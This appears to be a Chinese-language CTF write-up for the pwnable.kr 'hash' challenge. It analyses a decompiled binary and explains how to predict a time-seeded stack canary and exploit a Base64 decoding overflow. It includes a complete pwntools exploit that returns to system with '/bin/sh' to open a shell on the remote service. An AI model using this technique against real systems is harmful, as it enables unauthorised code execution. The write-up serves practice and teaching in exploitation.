前言
也是一个很有pwn味道的题目,涉及的知识在掌握范围内所以做起来很爽!
分析
题目只给了可执行文件hash
。于是就放到ida
中逆向了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax@1
int v5; // [sp+18h] [bp-8h]@1
int v6; // [sp+1Ch] [bp-4h]@1
setvbuf(stdout, 0, 1, 0);
setvbuf(stdin, 0, 1, 0);
puts("- Welcome to the free MD5 calculating service -");
v3 = time(0);
srand(v3);
v6 = my_hash();
printf("Are you human? input captcha : %d\n", v6);
__isoc99_scanf("%d", &v5);
if ( v6 != v5 )
{
puts("wrong captcha!");
exit(0);
}
puts("Welcome! you are authenticated.");
puts("Encode your data with BASE64 then paste me!");
process_hash();
puts("Thank you for using our service.");
system("echo `date` >> log");
return 0;
}
1 | int my_hash() |
1 | int process_hash() |
1 | int __cdecl Base64Decode(const char *a1, int a2) |
贴出来了最关键的几个函数。通过ida反编译的代码还是很容易理清程序逻辑的,其中可以发现两处漏洞。
my_hash
函数中使用的变量v11
其实是stack canary
。Base64Decode
函数会把a1
地址处的字符串base64解码,然后会把解码后的数据复制到a2
所指示的缓冲区内,这里由于最大复制长度使用strlen(a1)
而不是a2
的长度导致溢出。
程序的保护如下1
2
3
4
5
6
7root@1:~/桌面/test$ checksec hash
[*] '/home/root/\xe6\xa1\x8c\xe9\x9d\xa2/test/hash'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
由于是栈溢出漏洞,只要通过my_hash
函数的漏洞leak出canary
就可以getshell。在my_hash
中调用了rand
函数,只要随机种子一样那么就可以预测任意一次的随机值,另外time(0)
函数返回的时间是以秒为单位的,所以完全可以获得种子。
接下来就可以栈溢出覆盖返回地址了。system
的地址可以使用它的plt地址,那/bin/sh
地址呢?这里可以让程序溢出时重新跳入process_hash
函数然后输入该字符串,把该字符串存储在数据段,由于数据段地址不变所以可以这样利用。
整理下利用思路:
- 在连接题目时本地同样以
time
函数设置随机种子,获得随机序列并计算canary
- 布置栈空间,使程序溢出时执行
process_hash
函数并向数据段写入/bin/sh
下面是exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49import ctypes
import base64
from pwn import *
def work(DEBUG):
context(arch='i386',os='linux',log_level='info')
ll = ctypes.cdll.LoadLibrary
lib = ll('libc.so.6')
system_plt = 0x08048880
process_hash_addr = 0x08048f92
data_var = 0x0804b0e0
if DEBUG:
r = process('./hash')
else:
r = remote('pwnable.kr',9002)
lib.srand(lib.time(0))
# my_hash
v3 = lib.rand()
v4 = lib.rand()
v5 = lib.rand()
v6 = lib.rand()
v7 = lib.rand()
v8 = lib.rand()
v9 = lib.rand()
v10 = lib.rand()
r.recvuntil(' : ')
rel = int(r.recvuntil('\n'))
canary = rel-v7+v9-v10-v5+v6-v4-v8
canary &= 0xffffffff
payload = 'a'*0x200 #junk code
payload += p32(canary)+'a'*12
payload += p32(process_hash_addr)+p32(system_plt)#ret addr
payload += 'a'*4+p32(data_var)
payload = base64.b64encode(payload)
r.sendline(str(rel))
r.recvuntil('me!\n')
r.sendline(payload+'\n')
r.recvuntil('\n')
r.sendline('/bin/sh')
r.recvuntil('\n')
r.interactive()
work(False)
1 | root@1:~/桌面/test$ python 1.py |
要注意的是,如果网速太差就会导致canary
计算错误,解决办法是将exp上传到题目服务器本地执行(看题目提示)
总结
stack canary
能很好的防止栈溢出,但是程序的其他地方如果能够泄漏canary
还是没卵用。